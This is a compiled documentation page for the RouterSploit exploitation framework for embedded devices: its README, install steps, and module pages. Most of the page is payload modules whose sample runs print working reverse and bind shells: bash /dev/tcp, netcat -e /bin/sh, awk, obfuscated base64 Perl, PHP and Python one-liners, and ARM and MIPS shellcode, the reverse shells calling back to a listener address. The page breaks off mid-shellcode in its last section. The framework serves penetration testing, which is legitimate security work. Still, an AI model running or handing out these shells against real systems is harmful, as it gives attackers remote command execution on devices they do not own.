routersploit Documentation

Technical Documentation: threat9/routersploit

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (`README.md`)

RouterSploit - Exploitation Framework for Embedded Devices

Community

Join community on Embedded Exploitation Discord.

Description

The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices.

It consists of various modules that aid penetration testing operations:

exploits - modules that take advantage of identified vulnerabilities
creds - modules designed to test credentials against network services
scanners - modules that check if a target is vulnerable to any exploit
payloads - modules that are responsible for generating payloads for various architectures and injection points
generic - modules that perform generic attacks

Installation

Requirements

Required:

requests
paramiko
pysnmp
pycrypto

Optional:

bluepy - Bluetooth low energy

Installation on Kali Linux

text

apt-get install python3-pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py

Bluetooth Low Energy support:

text

apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py

Installation on Ubuntu 20.04

text

sudo apt-get install git python3-pip
git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py

Bluetooth Low Energy support:

text

sudo apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py

Installation on Ubuntu 18.04 & 17.10

text

sudo add-apt-repository universe
sudo apt-get install git python3-pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install setuptools
python3 -m pip install -r requirements.txt
python3 rsf.py

Bluetooth Low Energy support:

text

apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py

Installation on OSX

text

git clone https://www.github.com/threat9/routersploit
cd routersploit
sudo python3 -m pip install -r requirements.txt
python3 rsf.py

Running on Docker

text

git clone https://www.github.com/threat9/routersploit
cd routersploit
docker compose up --build -d
docker attach routersploit

To run again without rebuild

text

docker start routersploit
docker attach routersploit

Update

Update RouterSploit Framework often. The project is under heavy development and new modules are shipped almost every day.

text

cd routersploit
git pull

Build your own

To our surprise, people started to fork
routersploit not because they were
interested in the security of embedded devices but simply because they want to
leverage our interactive shell logic and build their tools using similar
concept. All these years they must have said: "There must be a better way!"
and they were completely right, the better way is called
Riposte.

Riposte allows you to easily wrap your
application inside a tailored interactive shell. Common chores regarding
building REPLs was factored out and being taken care of so you can
focus on specific domain logic of your application.

License

The RouterSploit Framework is under a BSD license.
Please see LICENSE for more details.

Acknowledgments

riposte

Modules Encoders Perl Base64 (`docs/modules/encoders/perl/base64.md`)

Description

Module encodes Perl payload to base64 format.

Verification Steps

Start ./rsf.py
Do: use encoders/perl/base64
Do: show info

Scenarios

text

rsf > use encoders/perl/base64
rsf (Perl Base64 Encoder) > show info

Name:
Perl Base64 Encoder

Description:
Module encodes PERL payload to Base64 format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Encoders Perl Hex (`docs/modules/encoders/perl/hex.md`)

Description

Module encodes Perl payload to hex format.

Verification Steps

Start ./rsf.py
Do: use encoders/perl/hex
Do: show info

Scenarios

text

rsf > use encoders/perl/hex
rsf (Perl Hex Encoder) > show info

Name:
Perl Hex Encoder

Description:
Module encodes PERL payload to Hex format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Encoders Php Base64 (`docs/modules/encoders/php/base64.md`)

Description

Module encodes PHP payload to base64 format.

Verification Steps

Start ./rsf.py
Do: use encoders/php/base64
Do: show info

Scenarios

text

rsf > use encoders/php/base64
rsf (PHP Base64 Encoder) > show info

Name:
PHP Base64 Encoder

Description:
Module encodes PHP payload to Base64 format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Encoders Php Hex (`docs/modules/encoders/php/hex.md`)

Description

Module encodes PHP payload to Hex format.

Verification Steps

Start ./rsf.py
Do: use encoders/php/hex
Do: show info

Scenarios

text

rsf > use encoders/php/hex
rsf (PHP Hex Encoder) > show info

Name:
PHP Hex Encoder

Description:
Module encodes PHP payload to Hex format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Encoders Python Base64 (`docs/modules/encoders/python/base64.md`)

Description

Module encodes Python payload to base64 format.

Verification Steps

Start ./rsf.py
Do: use encoders/python/base64
Do: show info

Scenarios

text

rsf > use encoders/python/base64
rsf (Python Base64 Encoder) > show info

Name:
Python Base64 Encoder

Description:
Module encodes Python payload to Base64 format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Encoders Python Hex (`docs/modules/encoders/python/hex.md`)

Description

Module encodes Python payload to hex format.

Verification Steps

Start ./rsf.py
Do: use encoders/python/hex
Do: show info

Scenarios

text

rsf > use encoders/python/hex
rsf (Python Hex Encoder) > show info

Name:
Python Hex Encoder

Description:
Module encodes Python payload to Hex format.

Authors:
-  Marcin Bury <marcin[at]threat9.com>

Modules Generic Upnp Ssdp Msearch (`docs/modules/generic/upnp/ssdp_msearch.md`)

Description

Module sends M-SEARCH request to target and retrieve information from UPnP enabled systems.

Verification Steps

Start ./rsf.py
Do: use generic/upnp/ssdp_msearch
Do: set target [TargetIP]
Do: run
If target supports UPnP information are retrieved.

Scenarios

text

rsf > use generic/upnp/ssdp_msearch
rsf (SSDP M-SEARCH Info Discovery) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (SSDP M-SEARCH Info Discovery) > run
[*] Running module...
[*] 192.168.1.1:1900 | Custom/1.0 UPnP/1.0 Proc/Ver | http://192.168.1.1:5431/dyndev/uuid:ec2280e5-e804-04e8-e580-22ec22e50400 | uuid:ec2280e5-e804-04e8-e580-22ec22e50400::upnp:rootdevice

Modules Payloads Armle Bind Tcp (`docs/modules/payloads/armle/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell for ARMLE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/armle/bind_tcp
Do: set rport 4321
Do: run
Module generates armle bind shell tcp payload

Scenarios

text

rsf > use payloads/armle/bind_tcp
rsf (ARMLE Bind TCP) > set rport 4321
[+] rport => 4321
rsf (ARMLE Bind TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d"
    "\xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0"
    "\x8d\xe2\x00\x60\xa0\xe1\xe1\x10\xa0\xe3\x10\x70\xa0\xe3\x01"
    "\x1c\xa0\xe1\x07\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0"
    "\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x07\x00\x2d"
    "\xe9\x02\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0"
    "\x8d\xe2\x06\x00\xa0\xe1\x03\x00\x2d\xe9\x04\x00\xa0\xe3\x0d"
    "\x10\xa0\xe1\x66\x00\x90\xef\x08\xd0\x8d\xe2\x06\x00\xa0\xe1"
    "\x01\x10\x41\xe0\x02\x20\x42\xe0\x07\x00\x2d\xe9\x05\x00\xa0"
    "\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60"
    "\xa0\xe1\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x00\x90\xef\x01"
    "\x10\x51\xe2\xfb\xff\xff\x5a\x04\x10\x4d\xe2\x02\x20\x42\xe0"
    "\x2f\x30\xa0\xe3\x62\x70\xa0\xe3\x07\x34\x83\xe0\x69\x70\xa0"
    "\xe3\x07\x38\x83\xe0\x6e\x70\xa0\xe3\x07\x3c\x83\xe0\x2f\x40"
    "\xa0\xe3\x73\x70\xa0\xe3\x07\x44\x84\xe0\x68\x70\xa0\xe3\x07"
    "\x48\x84\xe0\x73\x50\xa0\xe3\x68\x70\xa0\xe3\x07\x54\x85\xe0"
    "\x3e\x00\x2d\xe9\x08\x00\x8d\xe2\x00\x10\x8d\xe2\x04\x20\x8d"
    "\xe2\x0b\x00\x90\xef"
)

Modules Payloads Armle Reverse Tcp (`docs/modules/payloads/armle/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell for ARMLE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/armle/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Module generates armle reverse shell tcp payload

Scenarios

text

rsf >
rsf > use payloads/armle/reverse_tcp
rsf (ARMLE Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (ARMLE Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (ARMLE Reverse TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\x0f"
    "\x02\x19\x37\x01\xdf\x06\x1c\x08\xa1\x10\x22\x02\x37\x01\xdf"
    "\x3f\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x05\xa0\x92"
    "\x1a\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x02\x00\x10\xe1"
    "\xc0\xa8\x01\x04\x2f\x62\x69\x6e\x2f\x73\x68\x00"
)

Modules Payloads Cmd Awk Bind Tcp (`docs/modules/payloads/cmd/awk_bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using awk one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/awk_bind_tcp
Do: set rport 4321
Do: run
Module generates awk tcp bind shell payload.

Scenarios

text

rsf > use payloads/cmd/awk_bind_tcp
rsf (Awk Bind TCP) > set rport 4321
[+] rport => 4321
rsf (Awk Bind TCP) > run
[*] Running module...
[*] Generating payload
awk 'BEGIN{s="/inet/tcp/4321/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Modules Payloads Cmd Awk Bind Udp (`docs/modules/payloads/cmd/awk_bind_udp.md`)

Description

Module generates payload that creates interactive udp bind shell by using awk.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/awk_bind_tcp
Do: set rport 4321
Do: run
Module generates awk udp bind shell payload

Scenarios

text

rsf > use payloads/cmd/awk_bind_udp
rsf (Awk Bind UDP) > set rport 4321
[+] rport => 4321
rsf (Awk Bind UDP) > run
[*] Running module...
[*] Generating payload
awk 'BEGIN{s="/inet/udp/4321/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Modules Payloads Cmd Awk Reverse Tcp (`docs/modules/payloads/cmd/awk_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using awk one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/awk_reverse_tcp
Do: set lhost 192.168.1.3
Do: set lport 4321
Do: run
Module generates awk tcp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/awk_reverse_tcp
rsf (Awk Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Awk Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (Awk Reverse TCP) > run
[*] Running module...
[*] Generating payload
awk 'BEGIN{s="/inet/tcp/0/192.168.1.4/4321";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'

Modules Payloads Cmd Bash Reverse Tcp (`docs/modules/payloads/cmd/bash_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using bash one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/bash_reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates bash tcp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/bash_reverse_tcp
rsf (Bash Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Bash Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (Bash Reverse TCP) > run
[*] Running module...
[*] Generating payload
bash -i >& /dev/tcp/192.168.1.4/4321 0>&1

Modules Payloads Cmd Netcat Bind Tcp (`docs/modules/payloads/cmd/netcat_bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using netcat one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/netcat_bind_tcp
Do: set rport 4321
Do: run
Module generates netcat tcp bind shell payload.

Scenarios

text

rsf > use payloads/cmd/netcat_bind_tcp
rsf (Netcat Bind TCP) > set rport 4321
[+] rport => 4321
rsf (Netcat Bind TCP) > run
[*] Running module...
[*] Generating payload
nc -lvp 4321 -e /bin/sh

Modules Payloads Cmd Netcat Reverse Tcp (`docs/modules/payloads/cmd/netcat_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using netcat one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/netcat_reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates netcat tcp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/netcat_reverse_tcp
rsf (Netcat Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Netcat Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (Netcat Reverse TCP) > run
[*] Running module...
[*] Generating payload
nc 192.168.1.4 4321 -e /bin/sh

Modules Payloads Cmd Perl Bind Tcp (`docs/modules/payloads/cmd/perl_bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using perl one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/perl_bind_udp
Do: set rport 4321
Do: run
Module generates perl tcp bind shell payload.

Scenarios

text

rsf > use payloads/cmd/perl_bind_tcp
rsf (Perl Bind TCP One-Liner) > set rport 4321
[+] rport => 4321
rsf (Perl Bind TCP One-Liner) > run
[*] Running module...
[*] Generating payload
perl -MIO -e "use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));"

Modules Payloads Cmd Perl Reverse Tcp (`docs/modules/payloads/cmd/perl_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using perl one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/perl_reverse_tcp
Do: set lhost 192.168.1.3
Do: set lport 4321
Do: run
Module generates perl tcp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/perl_reverse_tcp
rsf (Perl Reverse TCP One-Liner) > set lhost 192.168.1.3
[+] lhost => 192.168.1.3
rsf (Perl Reverse TCP One-Liner) > set lport 4321
[+] lport => 4321
rsf (Perl Reverse TCP One-Liner) > run
[*] Running module...
[*] Generating payload
perl -MIO -e "use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));"

Modules Payloads Cmd Php Bind Tcp (`docs/modules/payloads/cmd/php_bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using php one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/php_bind_tcp
Do: set rport 4321
Do: run
Module generates php tcp bind shell payload

Scenarios

text

rsf > use payloads/cmd/php_bind_tcp
rsf (PHP Bind TCP One-Liner) > set rport 4321
[+] rport => 4321
rsf (PHP Bind TCP One-Liner) > run
[*] Running module...
[*] Generating payload
php -r "eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"

Modules Payloads Cmd Php Reverse Tcp (`docs/modules/payloads/cmd/php_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using php one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/php_reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates php tcp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/php_reverse_tcp
rsf (PHP Reverse TCP One-Liner) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (PHP Reverse TCP One-Liner) > set lport 4321
[+] lport => 4321
rsf (PHP Reverse TCP One-Liner) > run
[*] Running module...
[*] Generating payload
php -r "eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));"

Modules Payloads Cmd Python Bind Tcp (`docs/modules/payloads/cmd/python_bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using python one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/python_bind_tcp
Do: set rport 4321
Do: run
Module generates python tcp bind shell payload

Scenarios

text

rsf > use payloads/cmd/python_bind_tcp
rsf (Python Reverse TCP One-Liner) > set rport 4321
[+] rport => 4321
rsf (Python Reverse TCP One-Liner) > run
[*] Running module...
[*] Generating payload
python -c "exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))"

Modules Payloads Cmd Python Bind Udp (`docs/modules/payloads/cmd/python_bind_udp.md`)

Description

Module generates payload that creates interactive udp bind shell by using python one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/python_bind_udp
Do: set rport 4321
Do: run
Module generates python udp bind shell payload

Scenarios

text

rsf > use payloads/cmd/python_bind_udp
rsf (Python Bind UDP One-Liner) > set rport 4321
[+] rport => 4321
rsf (Python Bind UDP One-Liner) > run
[*] Running module...
[*] Generating payload
python -c "exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))"

Modules Payloads Cmd Python Reverse Tcp (`docs/modules/payloads/cmd/python_reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using python one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/python_reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates python udp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/python_reverse_tcp
rsf (Python Reverse TCP One-Liner) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Python Reverse TCP One-Liner) > set lport 4321
[+] lport => 4321
rsf (Python Reverse TCP One-Liner) > run
[*] Running module...
[*] Generating payload
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))"

Modules Payloads Cmd Python Reverse Udp (`docs/modules/payloads/cmd/python_reverse_udp.md`)

Description

Module generates payload that creates interactive udp reverse shell by using python one-liner.

Verification Steps

Start ./rsf.py
Do: use payloads/cmd/python_reverse_udp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates python udp reverse shell payload

Scenarios

text

rsf > use payloads/cmd/python_reverse_udp
rsf (Python Reverse UDP One-Liner) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Python Reverse UDP One-Liner) > set lport 4321
[+] lport => 4321
rsf (Python Reverse UDP One-Liner) > run
[*] Running module...
[*] Generating payload
python -c "exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))"

Modules Payloads Mipsbe Bind Tcp (`docs/modules/payloads/mipsbe/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell for MIPSBE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/mipsbe/bind_tcp
Do: set rport 4321
Do: run
Module generates mipsbe bind shell tcp payload

Scenarios

text

rsf > use payloads/mipsbe/bind_tcp
rsf (MIPSBE Bind TCP) > set rport 4321
[+] rport => 4321
rsf (MIPSBE Bind TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28"
    "\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x30\x50"
    "\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01"
    "\xa0\x68\x27\x01\xcd\x68\x04\x24\x0e\x10\xe1\x01\xae\x68\x25"
    "\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff"
    "\xec\x02\x10\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5"
    "\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25\x24"
    "\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02\x10\x20\x25"
    "\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01"
    "\x0c\xaf\xa2\xff\xff\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4"
    "\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24"
    "\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff"
    "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"
    "\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4"
    "\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24"
    "\x02\x0f\xab\x01\x01\x01\x0c"
)

Modules Payloads Mipsbe Reverse Tcp (`docs/modules/payloads/mipsbe/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell for MIPSBE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/mipsbe/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Module generates mipsbe reverse shell tcp payload

Scenarios

text

rsf > use payloads/mipsbe/reverse_tcp
rsf (MIPSBE Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (MIPSBE Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (MIPSBE Reverse TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x28\x04\xff\xff\x24\x02\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11"
    "\x11\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80"
    "\x20\x27\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01"
    "\x80\x20\x27\x01\x80\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57"
    "\x01\x09\x09\x0c\x30\x44\xff\xff\x24\x02\x0f\xc9\x01\x09\x09"
    "\x0c\x24\x02\x0f\xc9\x01\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5"
    "\x10\xe1\xaf\xa5\xff\xf8\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf"
    "\xa5\xff\xfc\x23\xa5\xff\xf8\x24\x0c\xff\xef\x01\x80\x30\x27"
    "\x24\x02\x10\x4a\x01\x09\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62"
    "\x69\xaf\xa8\xff\xec\x3c\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8"
    "\xff\xf0\x28\x07\xff\xff\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23"
    "\xa4\xff\xec\x23\xa8\xff\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8"
    "\x27\xbd\xff\xec\x28\x06\xff\xff\x24\x02\x0f\xab\x00\x90\x93"
    "\x4c"
)

Modules Payloads Mipsle Bind Tcp (`docs/modules/payloads/mipsle/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell for MIPSLE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/mipsle/bind_tcp
Do: set rport 4321
Do: run
Module generates mipsle bind shell tcp payload

Scenarios

text

rsf > use payloads/mipsle/bind_tcp
rsf (MIPSLE Bind TCP) > set rport 4321
[+] rport => 4321
rsf (MIPSLE Bind TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0"
    "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\xff\xff"
    "\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04"
    "\x68\xcd\x01\xfd\xff\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01"
    "\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0"
    "\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff"
    "\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02\x01"
    "\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02"
    "\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01"
    "\x01\xff\xff\xa2\xaf\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff"
    "\xa4\x8f\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
    "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
    "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e"
    "\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff"
    "\xa4\x27\xf8\xff\xa4\xaf\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab"
    "\x0f\x02\x24\x0c\x01\x01\x01"
)

Modules Payloads Mipsle Reverse Tcp (`docs/modules/payloads/mipsle/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell for MIPSLE architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/mipsle/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Module generates mipsle reverse shell tcp payload

Scenarios

text

rsf > use payloads/mipsle/reverse_tcp
rsf (MIPSLE Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (MIPSLE Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (MIPSLE Reverse TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04"
